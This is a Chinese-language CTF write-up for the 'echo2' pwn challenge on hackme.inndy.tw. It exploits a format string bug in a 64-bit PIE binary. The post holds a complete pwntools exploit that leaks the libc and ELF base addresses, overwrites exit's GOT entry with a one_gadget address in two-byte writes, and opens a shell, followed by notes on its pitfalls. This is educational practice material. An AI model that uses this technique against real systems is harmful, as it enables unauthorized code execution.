本来以为跟上题差不多,然后还是有点麻烦的,很多细节的问题
![](https://img.haomeiwen.com/i5808046/6f73326d80440e52.png)
程序还是一样的是格式化字符串漏洞
![](https://img.haomeiwen.com/i5808046/9e4ff4c2affddd12.png)
但是是64位的程序,而且开了pie,需要先泄漏出libc和elf基址
![](https://img.haomeiwen.com/i5808046/f319037dc523493b.png)
观察栈分布,计算偏移,泄漏泄漏出libc和elf基址
payload = 'a' + '%43$p' + 'b' + '%41$p'
p.sendline(payload)
p.recvuntil('a')
__libc_start_main_ret = int(p.recvuntil('b',drop = True),16)
elf_base = int(p.recvuntil('\n',drop = True),16) - 0xa03
然后找出libc版本(跟用libc_database找的不一样,所以最后还是下载了题目用的libc),得到one_gadget偏移和exit_got地址,最后将exit_got改成one_gadget来getshell(之所以没有将printf_got改成system地址是因为每次最多写两字节,需要写3次才能改完,而printf_got改变一次后就不能再利用了)
#由于每次的地址变成十进制有时候位数不同,所以用了条件语句,实际上就三次写地址,每次改写2字节
if len( str((one_gadget & 0xffff) ) ) == 5:
payload = 'aaaa%' + str((one_gadget & 0xffff) - 4) + 'c%8$hn' + p64(exit_got)
else:
payload = 'aaaaa%' + str((one_gadget & 0xffff) - 5) + 'c%8$hn' + p64(exit_got)
p.sendline(payload)
if len( str(((one_gadget >> 16) & 0xffff)) ) == 5 :
payload = 'aaaa%' + str(((one_gadget >> 16) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 2)
elif len( str(((one_gadget >> 16) & 0xffff)) ) == 4:
payload = 'aaaaa%' + str(((one_gadget >> 16) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 2)
else:
payload = 'aaaaaa%' + str(((one_gadget >> 16) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 2)
p.sendline(payload)
if len( str(((one_gadget >> 32) & 0xffff)) ) == 5 :
payload = 'aaaa%' + str(((one_gadget >> 32) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 4)
elif len( str(((one_gadget >> 32) & 0xffff)) ) == 4:
payload = 'aaaaa%' + str(((one_gadget >> 32) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 4)
else:
payload = 'aaaaaa%' + str(((one_gadget >> 32) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 4)
p.sendline(payload)
完整exp:
from pwn import *
import time
#context.log_level = 'debug'
#p = process('./echo2',env = {"LD_PRELOAD": "../libc-2.23.so.x86_64"})
p = remote('hackme.inndy.tw',7712)
elf = ELF('./echo2')
offset = 6
offset_printf_got = elf.got['printf']
payload = 'a' + '%43$p' + 'b' + '%41$p'
p.sendline(payload)
p.recvuntil('a')
__libc_start_main_ret = int(p.recvuntil('b',drop = True),16)
elf_base = int(p.recvuntil('\n',drop = True),16) - 0xa03
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_exit_got = 0x0000000000201048
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
exit_got = elf_base + offset_exit_got
one_gadget = libc_base + 0x45206
log.success('libc base addr : %x ' %libc_base)
log.success('elf base addr : %x ' %elf_base)
log.success('system addr : %x ' %system_addr)
log.success('exit_got : %x ' %exit_got)
log.success('one_gadget addr : %x ' %one_gadget)
#print hex(elf_base + 0x984)
#gdb.attach(p)
if len( str((one_gadget & 0xffff) ) ) == 5:
payload = 'aaaa%' + str((one_gadget & 0xffff) - 4) + 'c%8$hn' + p64(exit_got)
else:
payload = 'aaaaa%' + str((one_gadget & 0xffff) - 5) + 'c%8$hn' + p64(exit_got)
p.sendline(payload)
if len( str(((one_gadget >> 16) & 0xffff)) ) == 5 :
payload = 'aaaa%' + str(((one_gadget >> 16) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 2)
elif len( str(((one_gadget >> 16) & 0xffff)) ) == 4:
payload = 'aaaaa%' + str(((one_gadget >> 16) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 2)
else:
payload = 'aaaaaa%' + str(((one_gadget >> 16) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 2)
p.sendline(payload)
if len( str(((one_gadget >> 32) & 0xffff)) ) == 5 :
payload = 'aaaa%' + str(((one_gadget >> 32) & 0xffff) - 4) + 'c%8$hn' + p64(exit_got + 4)
elif len( str(((one_gadget >> 32) & 0xffff)) ) == 4:
payload = 'aaaaa%' + str(((one_gadget >> 32) & 0xffff) - 5) + 'c%8$hn' + p64(exit_got + 4)
else:
payload = 'aaaaaa%' + str(((one_gadget >> 32) & 0xffff) - 6) + 'c%8$hn' + p64(exit_got + 4)
p.sendline(payload)
p.sendline('exit')
p.interactive()
这里遇到了几个坑点:
- 由于64位地址会有'\x00',所以这里不能用fmtstr_payload(只适用32位elf),而且需要注意
p64(exit_got) + '%10c%6$hn'
会有\x00等bad char截断printf,导致不能正常写需要调整形式为
'%10c%7$hn' + p64(exit_got)
泄漏的时候也需要注意这点
- 写的时候每次最多只能写两个字节的数据,要多写几次
- 写的payload要数据对齐,即64位要8字节对齐地址
- 打本地的时候可以,远程gg,所以用了
env = {"LD_PRELOAD": "../libc-2.23.so.x86_64"}
来调试发现one_gadget偏移不对
网友评论